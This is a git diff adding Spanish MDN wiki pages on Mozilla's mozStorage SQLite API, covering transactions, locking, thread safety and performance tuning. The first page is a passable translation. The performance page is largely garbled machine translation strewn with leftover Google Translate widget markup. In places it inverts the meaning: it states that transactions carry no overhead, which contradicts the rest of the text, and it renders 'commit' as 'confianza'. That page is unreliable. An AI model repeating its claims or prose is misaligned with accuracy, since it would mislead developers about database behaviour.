+</pre>
+<h2 id="id_de_la_.C3.BAltima_inserci.C3.B3n" name="id_de_la_.C3.BAltima_inserci.C3.B3n">id de la última inserción</h2>
+<p>Usa la propiedad <code>lastInsertRowID</code> en la conexión para obtener el id (id de la fila) de la última operación <code>INSERT</code> operation en la base de datos.<br>
+Esto es útil si tienes una columna en tu tabla que sea la clave primaria (como <code>INTEGER PRIMARY KEY</code> o <code>INTEGER PRIMARY KEY AUTOINCREMENT</code>) en cuyo caso SQLite asigna automáticamente un valor a cada fila insertada, si tu no proporcionas alguno. <a class="external" href="http://www.sqlite.org/capi3ref.html#sqlite3_last_insert_rowid"></a><a class="external" href="http://www.sqlite.org/faq.html#q1"></a> El valor devuelto es del tipo <code>number</code> en JS y <code>long long</code> en C++.</p>
+<p><code>lastInsertRowID</code> JS example:</p>
+<pre>var sql = "INSERT INTO contacts_table (number_col, name_col) VALUES (?1, ?2)"
+var statement = mDBConn.createStatement(sql);
+    statement.bindUTF8StringParameter(0, number);
+    statement.bindUTF8StringParameter(1, name);
+    statement.execute();
+    statement.reset();
+
+var rowid = mDBConn.lastInsertRowID;
+</pre>
+<h2 id="Transacciones" name="Transacciones">Transacciones</h2>
+<p>mozIStorageConnection tiene funciones para las transacciones de comienzo y final. Si no usas transacciones explicitamente, se creará una transacción implícita por ti para cada sentencia. Esto tiene una gran implicación en el rendimiento. Hay una sobrecarga en cada transacción, especialmente para las transacciones de confianza. Por tanto verás una apreciable ganancia en el rendimiento, cuando estés haciendo ejecutando varias sentencias en una fila, si las agrupas en una transacción. Ver <a href="/es/Storage/Performance" title="es/Storage/Performance">Storage:Performance</a> para más detalles.</p>
+<p>La mayor diferencia entre otros sitemas de base de datos y sqlite es que éste último no implementa transacciones anidadas. Esto significa que en el momento en que una transacción es abierta, no puedes abrir otra transacción. Puedes usar <code>mozIStorageConnection.transactionInProgress</code> para ver si la transacción está en progreso.</p>
+<p>También puedes simplemente ejecutar "BEGIN TRANSACTION" y "END TRANSACTION" directamente como sentencias SQL (esto es lo que hace la conexión cuando llamas a las funciones). Sin embargo, el uso de <code>mozIStorageConnection.beginTransaction</code> y las funciones relacionadas, está <em>fuertemente</em> recomendado, ya que guarda el estado de la transacción en la conexión. De otra forma, el atributo <code>transactionInProgress</code> tendrá el valor erróneo.</p>
+<p>sqlite tiene vario tipos de transacción:</p>
+<ul> <li>mozIStorageConnection.TRANSACTION_DEFERRED: Por defecto. El bloqueo de la base de datos es adquirido cuando es necesario (generalmente cuando ejecutas una sentencia, por primera vez, en una transacción).</li>
+</ul>
+<ul> <li>mozIStorageConnection.TRANSACTION_IMMEDIATE: Adquiere inmediatamente, un bloqueo de lectura en la base de datos.immediately.</li>
+</ul>
+<ul> <li>mozIStorageConnection.TRANSACTION_EXCLUSIVE: Adquiere inmediatamente, un bloqueo de escritura en la base de datos.immediately.</li>
+</ul>
+<p>Puedes pasar este tipo de transacción a <code>mozIStorageConnection.beginTransactionAs</code> para determinar que clase de transacción necesitas. Recuerda que si ya se ha iniciado otra transacción, esta operación no tendrá éxito. Generalmente, el tipo por defecto de TRANSACTION_DEFERRED es suficiente y no deberías usar otro tipo, a no ser, que realmente sepas porqué lo necesitas. Para más información, lee la documentación de sqlite: <a class="external" href="http://www.sqlite.org/lang_transaction.html">BEGIN TRANSACTION</a> y <a class="external" href="http://www.sqlite.org/lockingv3.html">locking</a>.</p>
+<pre>var ourTransaction = false;
+if (!mDBConn.transactionInProgress) {
+  ourTransaction = true;
+  mDBConn.beginTransactionAs(mDBConn.TRANSACTION_DEFERRED);
+}
+
+// ... usa la conexión ...
+
+if (ourTransaction)
+  mDBConn.commitTransaction();
+</pre>
+<p>A partir de código C++, puedes usar la clase mozStorageTransaction definida en {{ Source("storage/public/mozStorageHelper.h") }}. Esta clase iniciará una transacción del tipo especificado en la conexión especificada y, cuando salga del entorno, bien confiará o bien volverá la transacción a su estado inicial. Si ya hay una transacción en progreso, la clase de ayuda de la transacción no hará nada.</p>
+<p>También tiene funciones de confianza explicitas. El uso típico es que crees la clase que por defecto vuelva a su estado original (rollback) y luego realices la confianza de la transacción explicitamente cuando tenga éxito:</p>
+<pre>nsresult someFunction()
+{
+  // deferred transaction (the default) with rollback on failure
+  mozStorageTransaction transaction(mDBConn, PR_FALSE);
+
+  // ... use the connection ...
+
+  // everything succeeded, now explicitly commit
+  return transaction.Commit();
+}
+</pre>
+<h2 id="C.C3.B3mo_corromper_tu_base_de_datos" name="C.C3.B3mo_corromper_tu_base_de_datos">Cómo corromper tu base de datos</h2>
+<ul> <li>Lee este documento: <a class="external" href="http://www.sqlite.org/lockingv3.html">File locking and concurrency in sqlite version 3</a>, especialmente la sección sobre corrupción.</li>
+</ul>
+<ul> <li>Abre más de una conexión hacia el mismo archivo con nombres que no son exactaente los determinados por <code>strcmp</code>. Esto incluye "my.db" y "../dir/my.db" o, en Windows (sin diferencia Mayúsculas/minúsculas) "my.db" y "My.db". Sqlite intentará manejar muchos de estos casos, pero no debes porfiar en ello.</li>
+</ul>
+<ul> <li>Accede una base de datos desde un enlace simbólico.</li>
+</ul>
+<ul> <li>Abre conexiones a la misma base de datos desde más de un hilo (Ver Seguridad de los hilos" más abajo).</li>
+</ul>
+<ul> <li>Accede a una conexión o a una sentencia desde más de un hilo (Ver Seguridad de los hilos" más abajo).</li>
+</ul>
+<ul> <li>Abre la base de datos desde un programa externo mientras está abierto en Mozilla. Nuestro sistema de cache rompe la reglas normales de bloqueo de archivos en sqlite que permitirían hacer esto de forma segura.</li>
+</ul>
+<h2 id="Bloqueo_en_SQLite" name="Bloqueo_en_SQLite">Bloqueo en SQLite</h2>
+<p>SQLite bloquea la base de datos enteramente, esto es, cualquier intento de lectura causará un que intento de escritura devuelva SQLITE_BUSY, y una escritura activa causará que cualquier intento de lectura devuelva SQLITE_BUSY. Una sentencia es considerada activa a partir del primer step() hasta que se llame a reset(). execute() llama a step() y reset() a un tiempo. Un problema común es olvidar reset() una sentencia después de haber terminado con step().</p>
+<p>Mientras que una conexión SQLite dada es capaz de tener muchas sentencias abiertas, su modelo de bloqueo limita lo que estas sentencias pueden realmente hacer simultáneamente (leer o escribir). De hecho es posible que muchas sentencias estén leyendo al mismo tiempo, sin embargo, no es posible que varias sentencias estén leyendo y escribiendo a la vez <em>en la misma tabla</em> -- aún cuando deriven de la misma conexión.</p>
+<p>El modelo de bloque de SQLite se conoce como "two-tiered": nivel de conexión y nivel de tabla. La mayoría de las personas están familiarizadas con el nivel de conexión (base de datos): múltiples lecturas pero solo una escritura. El nivel de tabla (B-Tree) es lo que a veces puede resultar confuso. (Internamente, cada tabla en la base de datos tiene su propio B-Tree, de modo que tabla y "B-Tree" son técnicamente sinonimos).</p>
+<h3 id="Bloqueo_a_nivel_de_tabla" name="Bloqueo_a_nivel_de_tabla">Bloqueo a nivel de tabla</h3>
+<p>Podrías pensar que si tienes sólo una conexión, i esta bloquea la base da datos para escritura, podrías usar multiples sentencias para hacer lo que quieras. No exactamente. Debes tener en cuenta que los bloqueos a nivel de tabla (B-Tree) que están mantenidos por sentencias se mantienen a lo largo de la base de datos (por ejemplo, las sentencias de manejo SELECT).</p>
+<p>La regla general es esta: una sentencia de manejo puede <strong>not</strong> modificar una tabla (B-Tree) que otras sentencias de manejo están leyendo (tienen el cursor abierto sobre ellas) -- aún cuando la sentencia de manejo comparte la misma conexión (contenido de la transacción, bloqueo de la base de datos, etcétera) con las otras sentencias de manejo. <em>Intentar hacer eso, también bloqueará (o devolverá SQLITE_BUSY)</em>.</p>
+<p>Este problema a menudo aparece cuando intestas interactuar en una tabla usando una sentencia mientras modificas registros en la tabla con otra sentencia. Esto no funcionará (o entraña muchas posibilidades de no funcionar, dependiendo del optimizador (ver más abajo)). Las sentencias de modificación causarán un bloque ya que la sentencia de lectura tiene el cursor abierto sobre la tabla.</p>
+<h3 id="Trabajando_con_los_problemas_de_bloqueo" name="Trabajando_con_los_problemas_de_bloqueo">Trabajando con los problemas de bloqueo</h3>
+<p>La solución es seguir (1) como se dice más arriba. Teóricamente, (2) actualmente no debería funcionar con SQLite 3.x En este escenario, los bloqueos de base de datos entran en juego (con múltiples conexiones) adicionalmente a los bloqueos de tablas. La conexión 2 (conexiones de cambio) no serán capaces de modificar (escribir en) la base de datos mientras que la conexión 1 (conexión de lectura) esté leyendo. La conexión 2 requerirá un bloqueo exclusivo para ejecutar una sentencia de modificación SQL, que no podrá obtener mientras la conexión 1 tenga sentencias activas leyendo la base de datos (La conexión 1 tiene un bloqueo de lectura compartido durante este tiempo que prohíbe a cualquier otra conexión tener un bloqueo exclusivo).</p>
+<p>Otra opción es usar una tabla temporal. Crea una tabla temporal que contenga los resultados de la tabla de interés, interactúa con ella (poniendo los bloqueos de la tabla con las sentencias de lectura en la tabla temporal) y entonces las sentencias de modificación pueden hacer cambios en la tabla real sin ningún problema). Esto puede hacerse con sentencias derivadas de una conexión simple (contexto de la transacción). Esta escena ocurre algunas veces 'detrás del escenario' ya que ORDERED BY puede producir tablas temporales internamente. Sin embargo, no es seguro asumir que el optimizador hará esto en todos los casos. Crear tablas temporales explicitamente, es la única forma segura de realizar esta última opción.</p>
+<h2 id="Seguridad_de_los_hilos" name="Seguridad_de_los_hilos">Seguridad de los hilos</h2>
+<p>El servicio mozStorage y sqlite son hilos seguros. Sin embargo, ningún otro mozStorage u objeto sqlite son hilos seguros.</p>
+<ul> <li>El servicio storage debe ser creado en el hilo principal. Si quieres acceder al servicio desde otro hilo, debes asegurarte de llamar a getService desde el hilo principal con antelación.</li>
+</ul>
+<ul> <li>No puedes acceder a una conexión o una sentencia desde múltiples hilos. Esos objetos storage no son seguros y las representaciones sqlite tampoco son seguras. Aún cuando hagas bloqueo y te asegures que sólo ese hilo está haciendo algo, puede haber problemas. Este caso no ha sido probado y puede haber algún estado pre-implementación en el hilo de sqlite. Se recomienda fuertemente que no hagas esto.</li>
+</ul>
+<ul> <li>No puedes acceder una base de datos simple desde múltiples conexiones en múltiples hilos. Normalmente, sqlite permite esto. Sin embargo, hacemos <code>sqlite3_enable_shared_cache(1);</code> (ver <a class="external" href="http://www.sqlite.org/sharedcache.html">sqlite shared-cache mode</a>) que hace que múltiples conexiones compartan la misma memoria cache. Esto es importante para el rendimiento. Sin embargo, no hay bloqueos para el acceso a la memoria cache, lo que significa que se romperá si se usa desde más de un hilo.</li>
+</ul>
+<p>De nada vale, sin embargo, que los autores de las extensiones de JavaScript del navegador, esten menos impactados por estas restricciones de lo que estaban al principio. Si una base de datos es creada y usada de forma exclusiva desde JavaScript, la seguridad de los hilos no será, normalmente, una preocupación. El motor JavaScript interno de Firefox (SpiderMonkey) ejecuta el JavaScript dentro de un único y persistente hilo, excepto cuando JavaScript se ejecuta en un hilo diferente o es ejecutado a partir de una llamada realizada desde otro hilo (p.e. desde interfaces de stream o delde la red). Con excepción del uso incorrecto de JavaScript en múltiples hilos, los problemas solo deberían ocurrir si se accede aun hilo asociado a una base de datos previamente en uso a través de mozStorage.</p>
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+<ul> <li><a href="/es/mozIStorageConnection" title="es/mozIStorageConnection">mozIStorageConnection</a> Conexión de la base de datos a un archivo específico o almacenamiento en memoria.</li> <li><a href="/es/MozIStorageStatement" title="es/MozIStorageStatement">mozIStorageStatement</a> Crea y ejecuta sentencias SQL en bases de datos SQLite.</li> <li><a href="/es/MozIStorageValueArray" title="es/MozIStorageValueArray">mozIStorageValueArray</a> Agrupa una matriz de valores SQL, como una fila resultante.</li> <li><a href="/es/MozIStorageFunction" title="es/MozIStorageFunction">mozIStorageFunction</a> Crea una nueva función SQLite.</li> <li><a href="/es/MozIStorageAggregateFunction" title="es/MozIStorageAggregateFunction">mozIStorageAggregateFunction</a> Crea una nueva función agregada SQLite.</li> <li><a href="/es/MozIStorageProgressHandler" title="es/MozIStorageProgressHandler">mozIStorageProgressHandler</a> Vigilar progresos durante la ejecución de una sentencia.</li> <li><a href="/es/MozIStorageStatementWrapper" title="es/MozIStorageStatementWrapper">mozIStorageStatementWrapper</a> Agrupador de la sentencia Storage.</li> <li><a href="/es/MozIStorageService" title="es/MozIStorageService">mozIStorageService</a> Servicio Storage.</li>
+</ul>
+<ul> <li><a href="/es/Storage/Performance" title="es/Storage/Performance">Storage:Rendimiento</a> Cómo hacer que tu conexión de base de datos rinda bien.</li> <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3072">Storage Inspector Extension</a><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span><span class="short_text" id="result_box"><span title=""><br> </span></span></span> <span class="short_text" id="result_box"><span title="">Hace que sea fácil de ver los archivos de base de datos SQLite en el perfil actual.</span></span></li> <li><a class="external" href="http://www.sqlite.org/lang.html">SQLite Syntax</a> Query <span class="short_text" id="result_box"><span style="" title="">lengua que comprenda </span></span>SQLite</li> <li><a class="external" href="http://sqlitebrowser.sourceforge.net/">SQLite Database Browser</a><span class="medium_text" id="result_box"><span title="">es una herramienta capaz libre disponible para muchas plataformas. </span><span title="">Puede ser útil para examinar las bases de datos existentes y las pruebas sentencias SQL.</span></span> <span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></li> <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5817">SQLite Manager Extension</a><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="">ayuda a administrar los archivos de base de datos SQLite en el equipo.</span></span> <span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span> <div class="almost_half_cell" style=""> <div dir="ltr" style=""><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title=""><br> </span></span></div> </div> </li>
+</ul>
+<p> </p>
+<p>{{ languages( { "es": "es/Almacenamiento", "fr": "fr/Storage", "ja": "ja/Storage", "pl": "pl/Storage", "en": "en/Storage" } ) }}</p>
diff --git a/files/es/storage/performance/index.html b/files/es/storage/performance/index.html
new file mode 100644
index 0000000000..91f15d4cb2
--- /dev/null
+++ b/files/es/storage/performance/index.html
@@ -0,0 +1,196 @@
+---
+title: Rendimiento
+slug: Storage/Performance
+translation_of: Mozilla/Tech/XPCOM/Storage/Performance
+---
+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+<div class="almost_half_cell" style="">
+ <div dir="ltr" style="">
+  <div id="tts_button" style="display: none;" title="Escuchar
+traducción">
+   &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+  <span class="long_text" id="result_box"><span title=""><a href="/es/Storage" title="https://developer.mozilla.org/es/Storage">mozStorage</a> utiliza <a class="external" href="http://es.wikipedia.org/wiki/SQLite" title="http://es.wikipedia.org/wiki/SQLite">SQLite</a> como servidor. </span><span style="background-color: rgb(255, 255, 255);" title="">Cuenta con el rendimiento generalmente bueno para una pequeña base de datos integrados. </span><span title="">Sin embargo, muchas cosas causan varias operaciones de base de datos a ser lenta.</span></span></div>
+ <p> </p>
+</div>
+<h2 id="Transacciones">Transacciones</h2>
+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13
+zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+<div id="tts_button" style="display: none;" title="Escuchar
+traducción">
+ &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+<p> </p>
+<p><br>
+ <span class="long_text" id="result_box"><span title="">Editar la sección</span><br>
+ <br>
+ <span style="background-color: rgb(255, 255, 255);" title="">No hay sobrecarga asociada con cada transacción. Cuando se ejecuta una SQL de forma aislada, una transacción implícita se crea alrededor de esa declaración. </span><span style="background-color: rgb(255, 255, 255);" title="">Cuando las transacciones se han comprometido, sqlite es el diario que requiere la sincronización de datos en el disco. </span><span title="">Esta operación es extremadamente lento. </span><span title="">Por lo tanto, si usted está haciendo muchas de las transacciones en una fila, obtendrás mejoras significativas en el rendimiento de las rodea en una transacción.</span><br>
+ <br>
+ <span style="background-color: rgb(255, 255, 255);" title="">Si usted no está usando el almacenamiento en caché avanzadas más adelante, la caché de base de datos en memoria se borra al final de cada transacción. </span><span style="background-color: rgb(255, 255, 255);" title="">Esta es otra razón para utilizar las transacciones, incluso si sólo está ejecutando operaciones de lectura.</span><br>
+ <br>
+ <span style="background-color: rgb(255, 255, 255);" title="">El asincrónico escribe discuten a continuación elimina la mayor parte de la pena inmediata de una comisión, por lo que no notará el problema como mucho. </span><span style="background-color: rgb(255, 255, 255);" title="">Sin embargo, todavía hay sobrecarga, y el uso de una transacción seguirá siendo más rápido. </span><span style="background-color: rgb(255, 255, 255);" title="">Un gran problema es que la cola de operaciones de archivo tendrá mucho tiempo si hay muchas operaciones. </span><span style="background-color: rgb(255, 255, 255);" title="">Algunas operaciones requieren caminar esta cola para ver qué operaciones han estado pendientes, y que será más lento. </span><span style="background-color: rgb(255, 255, 255);" title="">Si el usuario cierra el navegador pronto después de hacer este tipo de operaciones, puede retrasar el apagado (posiblemente durante decenas de segundos para que un gran número de transacciones y discos lentos), lo que hace que parezca que el navegador se cuelga.</span></span></p>
+<p> </p>
+<h3 class="editable" id="Consultas"><span>Consultas</span></h3>
+<div class="editIcon">
+ <a href="/../../../../en/Storage/Performance#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+<p><br>
+ <span class="long_text" id="result_box"><span title="">Reordenación de la atención de la declaración SQL, o la creación de los índices adecuada, a menudo puede mejorar el rendimiento. </span><span title="">Véase la descripción general del optimizador sqlite en el sitio web de sqlite para información sobre cómo utiliza los índices de sqlite y ejecuta sentencias.</span><br>
+ <br>
+ <span title="">Usted también puede tratar de la "explicar" en función de sus estados de cuenta para ver si están utilizando los índices que usted espera. </span><span title="">Tipo de "explicar", seguido de su estado de cuenta para ver el plan. </span><span title="">Por ejemplo, explicar select * from moz_history; Los resultados son difíciles de entender, pero usted debería ser capaz de ver si es la utilización de índices. </span><span title="">Un comando que le dará una visión general de alto nivel es "explicar plan de consulta". </span><span title="">Por ejemplo:</span></span></p>
+<pre>sqlite&gt; explain query plan select * from moz_historyvisit v join moz_history h
+        on v.page_id = h.id where v.visit_date &gt; 1000000000;
+
+0|0|TABLE moz_historyvisit AS v WITH INDEX moz_historyvisit_dateindex
+1|1|TABLE moz_history AS h USING PRIMARY KEY</pre>
+<p><span class="long_text" id="result_box"><span title="">Esto nos dice que primero buscará en moz_historyvisit partir de un índice, y luego buscará en moz_history utilizando la clave principal. </span><span title="">Ambas son "buenas" porque utilizan índices y claves principales, que son rápidos.</span></span></p>
+<p> </p>
+<pre>sqlite&gt; explain query plan select * from moz_historyvisit where session = 12;
+
+0|0|TABLE moz_historyvisit</pre>
+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+<div class="almost_half_cell" style="">
+ <div dir="ltr" style="">
+  <div id="tts_button" style="display: none;" title="Escuchar
+traducción">
+   &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+  <p><span class="medium_text" id="result_box"><span title="">En este ejemplo, se puede ver que no está usando un índice, por lo que esta consulta podría ser muy lento.</span></span></p>
+  <p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+  <div class="almost_half_cell" style="">
+   <div dir="ltr" style="">
+    <div id="tts_button" style="display: none;" title="Escuchar
+traducción">
+     &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+    <span class="long_text" id="result_box"><span title="">Puede descargar la herramienta de línea de comandos desde la <a class="external" href="http://www.sqlite.org/download.html" title="http://www.sqlite.org/download.html">página de descarga sqlite</a>. </span><span title="">Asegúrese de tener una versión de la herramienta de línea de comandos que es al menos tan reciente como lo utiliza Mozilla. </span><span title="">A partir del 10 de abril 2006, Mozilla usa sqlite 3.3.4, pero la última versión precompilada de las herramientas de línea de comandos no está disponible para todas las plataformas. </span><span title="">Esto dará lugar a errores que dicen "base de datos es cifrada" porque la herramienta no es capaz de reconocer el formato de archivo. </span><span title="">Es posible que desee comprobar la definición SQLITE_VERSION en <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/db/sqlite3/src/sqlite3.h" title="http://mxr.mozilla.org/mozilla-central/source/db/sqlite3/src/sqlite3.h">db/sqlite3/src/sqlite3.h</a> para la versión actual si está teniendo problemas.</span></span></div>
+  </div>
+ </div>
+</div>
+<p> </p>
+<p><span id="zippyspan" style="display: block;"><img alt="" class="buttons square13 zippy-plus" id="zippyicon" src="http://www.google.es/images/cleardot.gif" style="margin-right: 0.33em; cursor: pointer;"></span></p>
+<h3 class="editable" id="Caché"><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="">Caché</span></span></h3>
+<p> </p>
+<div class="editIcon">
+ <a href="/../../../../en/Storage/Performance#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+<p> </p>
+<p><br>
+ <span class="long_text" id="result_box"><span title="">Sqlite tiene un caché de páginas de bases de datos en la memoria. </span><span style="background-color: rgb(255, 255, 255);" title="">Mantiene páginas relacionadas con la transacción actual por lo que puede hacer retroceder, y que además mantiene los utilizados recientemente para que pueda correr más rápido.</span><br>
+ <br>
+ <span style="background-color: rgb(255, 255, 255);" title="">De forma predeterminada, sólo guarda las páginas en la memoria durante una operación (si no explícitamente abierta una transacción, será abierto para usted que rodea cada declaración individual). </span><span title="">Al final de una transacción, el caché se vacía. </span><span title="">Si, posteriormente, iniciar una nueva transacción, las páginas que necesita se volverá a leer el disco (o esperar que el caché de sistema operativo). </span><span title="">Esto hace que incluso bloquear las operaciones simples en los archivos del SO lecturas, que pueden ser prohibitivos en algunos sistemas con cachés de disco malo o unidades de red.</span><br>
+ <br>
+ <span title="">Usted puede controlar el tamaño de la caché de memoria mediante el  </span></span><code>cache_size</code><a class="external" href="http://www.sqlite.org/pragma.html" title="http://www.sqlite.org/pragma.html"><span class="long_text" id="result_box"><span title="">pragma</span></span></a><span class="long_text" id="result_box"><span title="">. </span><span title="">Este valor controla el número de páginas del archivo que se puede guardar en la memoria a la vez. </span><span title="">El tamaño de página se pueden establecer mediante el </span></span><code>page_size</code> pragma<span class="long_text" id="result_box"><span title=""> antes de que las operaciones se han realizado en el archivo. </span><span title="">Puede ver un ejemplo de establecer el tamaño máximo de caché a un porcentaje de la memoria en nsNavHistory:: initdb en <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/toolkit/components/places/src/nsNavHistory.cpp" title="http://mxr.mozilla.org/mozilla-central/source/toolkit/components/places/src/nsNavHistory.cpp">toolkit / components / places / src / nsNavHistory.cpp.</a></span></span></p>
+<p> </p>
+<h4 class="editable" id="El_almacenamiento_en_caché"><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="">El almacenamiento en caché</span></span></h4>
+<p> </p>
+<div class="editIcon">
+ <a href="/../../../../en/Storage/Performance#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+<p> </p>
+<p><span title="Storage enables the sqlite shared-cache
+mode) which makes multiple connections to the same database share the
+same cache.">Activa el modo de almacenamiento para </span> <a class="external" href="http://www.sqlite.org/sharedcache.html" rel="external nofollow" title="http://www.sqlite.org/sharedcache.html">sqlite shared-cache mode</a><span title="Storage enables the sqlite shared-cache
+mode) which makes multiple connections to the same database share the
+same cache.">), que hace varias conexiones a la parte misma base de datos la misma caché. </span><span title="Because the cache is not threadsafe, this unfortunately means
+that you can not have different connections from different threads
+accessing the same database.">Debido a que el caché no es multi-hilo, esto significa que por desgracia no se puede tener diferentes conexiones desde diferentes subprocesos el acceso a la misma base de datos. </span>Sin embargo, la memoria caché compartida que nos permite seguir en directo entre las operaciones, en lugar de borrarlo después de cada transacción como sqlite no por defecto.</p>
+<div class="almost_half_cell" style="display: block;">
+ <div dir="ltr" style="">
+  <br>
+  <span class="long_text" id="result_box"><span title="If your application uses many small transactons,
+you can get a significant performance improvement by keeping the cache
+live between transactions.">Si su aplicación utiliza muchas transactons pequeña, puede obtener una mejora significativa del rendimiento al mantener el caché en vivo entre las transacciones. </span><span title='This is done by using an extra "dummy" connection to
+the same database (it is important that you use exactly the same
+filename when opening these connections as determined by strcmp).'>Esto se hace mediante el uso de un suplemento "ficticia" la conexión a la misma base de datos (es importante que utilice exactamente el mismo nombre de archivo al abrir estas conexiones según lo determinado por </span></span><code>strcmp</code><span class="long_text" id="result_box"><span title='This is done by using an extra "dummy" connection to
+the same database (it is important that you use exactly the same
+filename when opening these connections as determined by strcmp).'>). </span><span title="The dummy connection keeps a perpetually open transaction which
+locks the cache in memory.">La conexión ficticia mantiene una transacción perpetuamente abierta, que bloquea el caché en la memoria. </span><span title="Since the cache is shared with the main
+connection, the cache never expires.">Dado que el caché es compartida con la conexión principal, el caché nunca expira. </span><br>
+  <br>
+  <span title="The dummy transaction must be one that locks a
+page in memory.">La transacción debe ser un maniquí que bloquea una página en la memoria. </span><span title="A
+simple BEGIN TRANSACTION statement doesn't do this because sqlite does
+the locking lazily.">Una simple instrucción </span></span><code>BEGIN TRANSACTION</code><span class="long_text" id="result_box"><span title="A
+simple BEGIN TRANSACTION statement doesn't do this because sqlite does
+the locking lazily."> no hace esto porque el bloqueo no sqlite perezosamente. </span><span title="Therefore, you must have a statement
+that modifies data.">Por lo tanto, debe tener una declaración que modifica los datos. </span><span title="It might be
+tempting to run a statement on the sqlite_master which contains the
+information on the tables and indices in the database.">Puede ser tentador para ejecutar una declaración sobre la </span></span><code>sqlite_master</code><span class="long_text" id="result_box"><span title="It might be
+tempting to run a statement on the sqlite_master which contains the
+information on the tables and indices in the database."> que contiene la información sobre las tablas e índices en la base de datos. </span><span title="However, if your application is initializing the database for
+the first time, this table will be empty and the cache won't be locked.">Sin embargo, si su aplicación se está inicializando la base de datos por primera vez, esta tabla estará vacía y la caché no estará bloqueado. </span><span title="nsNavHistory::StartDummyStatement creates a dummy table with a
+single element in it for this purpose.">nsNavHistory:: StartDummyStatement crea una tabla de maniquí con un solo elemento en él para este fin. </span><br>
+  <br>
+  <span title="It is important to note that when a statement is
+open, the database schema cannot be modified.">Es importante señalar que cuando una instrucción está abierta, el esquema de base de datos no pueden ser modificados. </span><span title="This means that when the
+dummy transaction is running, you cannot create or modify any tables or
+indices, or vacuum the database.">Esto significa que cuando la operación simulada se está ejecutando, no puede crear o modificar las tablas o índices, o el vacío de la base de datos. </span><span title="You will have to stop the dummy transaction, do the
+schema-modifying operation, and restart it.">Usted tiene que parar la operación simulada, hacer la operación de modificación de esquema, y reiniciarlo.</span></span></div>
+</div>
+<p> </p>
+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
